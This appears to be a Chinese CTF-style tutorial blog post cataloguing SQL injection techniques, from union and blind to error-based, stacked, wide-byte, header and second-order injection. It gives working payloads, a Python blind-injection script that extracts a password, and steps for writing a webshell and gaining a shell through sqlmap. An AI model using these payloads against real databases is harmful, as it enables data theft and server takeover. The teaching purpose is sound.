常见SQL注入类型 2020-10-04

最基础的注入-union注入攻击

  1. 判断是get型还是post型注入;

  2. 找到正确的闭合规则;

  3. order by 查询字段数;

  4. union select 1,2…# 查询显示位是第几位,没有的话就试试把id=1显示位让出,令id=-1;

  5. 获取数据库名:
    -1’ union select 1,database(),3#
    在这里插入图片描述

  6. 获取表名:
    -1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“news”#
    在这里插入图片描述

  7. 获取列名:
    -1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“serect_table”#
    在这里插入图片描述

  8. 读数据:
    -1’ union select 1,fl4g,3 from secret_table#
    在这里插入图片描述

Boolean注入攻击-布尔盲注

  1. 查看现象,能报错,但没有报错信息,正确查询也显示不了查询内容就属于布尔盲注,只存在两种状态,对或错;
  2. 由页面的两种不同返回的状态来判定我们的闭合规则;
  3. 为了方便,我们这里假设返回正确用“yes”,返回错误用“no”来表示这两种状态;
  4. 找到闭合规则后,我们在闭合规则里面 and 1=1 和 and 1=2 测试,查看是否两种返回状态;
  5. 布尔盲注要用到length()和substr()语句,用两种状态来猜解数据库,表名等的长度和正确字母;
  6. 先用 and length(database())>2 来猜数据库的长度;(使用二分法)
  7. 再用 and substr(database(),1,1)=‘t’ 来确定第一个字母,可以脚本逐个判断字母,若返回yes即是;
  8. and substr(database(),2,1)=“t” 代表第二个字母;
  9. 最后结合长度,成功将数据库猜解出来;
  10. 之后类似union注入步骤;
    脚本举例:
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests as req
url = "http://[docker].cloudeci1.ichunqiu.com/index.php"
data = {
"username" : '''admin\\''',
"password" : ""
}
res = ""
for position in range(1,30):
for i in range(32,127):
payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
data["password"] = payload
r = req.post(url=url, data=data)
if r"<div>密码错误" not in r.text:
res += chr(i)
print(res)
break
else:
continue

报错注入攻击

  1. 只要注入点有sql报错信息,那么就可以使用报错注入;
  2. 还是一样,引号报错,然后找到闭合规则,页面正常显示,则可以在闭合规则中开始写入报错注入的sql语句;
  3. updatexml报错获取当前数据库:
and updatexml (1,concat(0x7e,(select database()),0x7e),1)
  1. floor报错获取当前数据库:
and (select 1 from (select count(*),concat((database()),floor (rand(0)*2)x from info rmation_schema.tables group by x)a)
  1. 利用select语句替换掉database()来继续获取数据库中的表名,字段名,查询语句和union注入攻击的语句相同;
  2. 只不过这里不能再使用group_concat了,因为报错注入只显示一条结果,需要使用limit语句;

时间注入攻击-时间盲注

  • 没有明确的现象,不管是对是错都返回一个状态;
  • 但是如果用sleep(5)方法,能让响应时间延迟为5秒以上,那么就为时间盲注;
  • 我们用sleep(5)函数构造了一个时间延时的状态,因此,我们又有了两种状态,像布尔盲注一样可以根据这两种状态来判定数据库,表名和字段名的长度和正确的每个字母;
  • 同样的找到正确的闭合规则,当然,这个闭合规则得配合着 and sleep(5)语句来构造,哪一个闭合规则执行了sleep(5),那么就是正确的闭合规则;
  • 时间盲注配合着 if(A,B,C) 语句结合使用,含义是:如果A是true,则返回B(即执行B),否则返回C(执行C);
  • 那么判断当前数据库名长度的语句为:
      if (length (database())>1,sleep(5),1)
    如果说数据库的长度大于1,那么响应延时5秒,否则执行select 1(也就是不延时),由此来推出数据库长度。
  • 判断当前数据库名的第一个和第二个字母的语句:
    if(substr(database(),1,1)='s',sleep(5),1)
    if(substr(database(),2,1)='s',sleep(5),1)
    只有第一个字母等于26个字母中正确字符时,才会延时5秒,因此可以通过burp或者sqlmap跑。
  • 根据数据库名长度以此内推即可得出完整的数据库的库名,表名,字段名和具体内容。

堆叠查询注入攻击

  1. 可以使用堆叠注入的地方也可以使用布尔盲注和时间盲注;
  2. 同样先找出正确的闭合规则,然后也看两种状态来猜解库名,表名等;
  3. 堆叠注入的语句为
    ;select if(length(database())>1,sleep(3),1)
    ;select if(substr(database(),1,1)='r',sleep(3),1)
  4. 按照原理来说,分号后面可以执行新sql语句,但是很多时候没有必要,若遇到其他注入方法不行时可以尝试,不常用。

二次注入攻击

  • 二次注入一共有两个url,url一用来注入,也就是注入点,插入sql语句的地方,另外一个url用来返回信息;
  • 也就是url一插入了sql语句,url一的响应里面就会返回这条信息对应的id值,然后url二就传入这个新id值,然后访问,响应回来之后将会爆出sql语句查询的结果,正确或者错误的sql信息;
  • 就相当于url一是一个用户注册的地方,用户注册后会在数据库里面加入新id存放用户的注册信息,那么这个id可以传给url二来访问,url二就可以显示出用户的注册信息,但如果注册信息含有恶意sql语句,url二就会显示出敏感的数据库信息;
  • 跟union注入攻击差不多,只是回显的信息需要再另外的url中显示出来了;
  • 之后步骤同union注入常规步骤;

宽字节注入攻击

  1. 如果遇到单,双引号被转义,变成了反斜杠,导致,参数id无法逃逸单引号的包围;
  2. 一般情况下,此处是不存在sql注入漏洞的;
  3. 但是如果数据库的编码为GBK时,就可以使用宽字节注入,因此在不知道是否是GBK编码时,都可以进行尝试;
  4. 宽字节的格式是在地址后先加一个 %df,再加单引号,因为反斜杠的编码为%5c,在GBK编码中,%df%5c是繁体字“連“,因此,单引号成功逃逸,爆出sql错误;
  5. 因此构造闭合规则时,在单引号前面加上%df即可;
  6. 之后同union注入的查询语句相同;

base64 注入攻击

  • 如果遇到url的参数id的值看起来像base64的,先拿去url解码,然后如果是base64,拿去base64解码,解出来应该是id的值;
  • 那么如果对url进行sql注入测试,就需要对id后面的所有值进行base64编码;
  • 注入的方式步骤与union注入相同,只不过需进行base64编码,以及闭合规则。

cookie注入攻击-http请求头参数注入

  1. 抓包对一个url的http请求头的所有参数进行sql注入测试,里面的所有参数都有可能存在注入点,如果响应包出现sql报错,那么测试的这个参数就是注入点;
  2. 常见的http头部注入的参数有:
    【Referer】,【X-Forwarded-for】,【Cookie】,【X-Real-IP】,【Accept-Language】,【Authorization】
  3. 如果测试到cookie参数的时候,响应有报sql错误,那么就是cookie注入攻击;
  4. 和union注入的差别就在于注入点不一样,之后使用union注入的方法即可;

XFF注入攻击-http请求头参数注入

  • XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入攻击;
  • 例如测试此参数的值 X-Forwarded-for:127.0.0.1’ 响应有sql报错,那么此处就是注入点;
  • 之后同union注入方法。

知道绝对路径的注入

  1. 如果通过一些方式爆出了网站的根目录,并且知道此站点存在sql注入;
  2. 猜测此数据库可能有file权限,那么我们就可以使用语句:into outfile 来写shell到网站的根目录下,之后用菜刀连接;
  3. 如果数据库没有file权限,那么我们有sqlmap的参数 --is–dba 来查看当前数据库的用户是否有管理员权限;
  4. 如果有管理员权限,我们就可以使用sqlmap里面的参数命令 --os-shell 来上传,反弹shell,最终getshell;
  5. 如果file,管理员权限都没有,那么另寻思路,日志,缓存写入等。
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值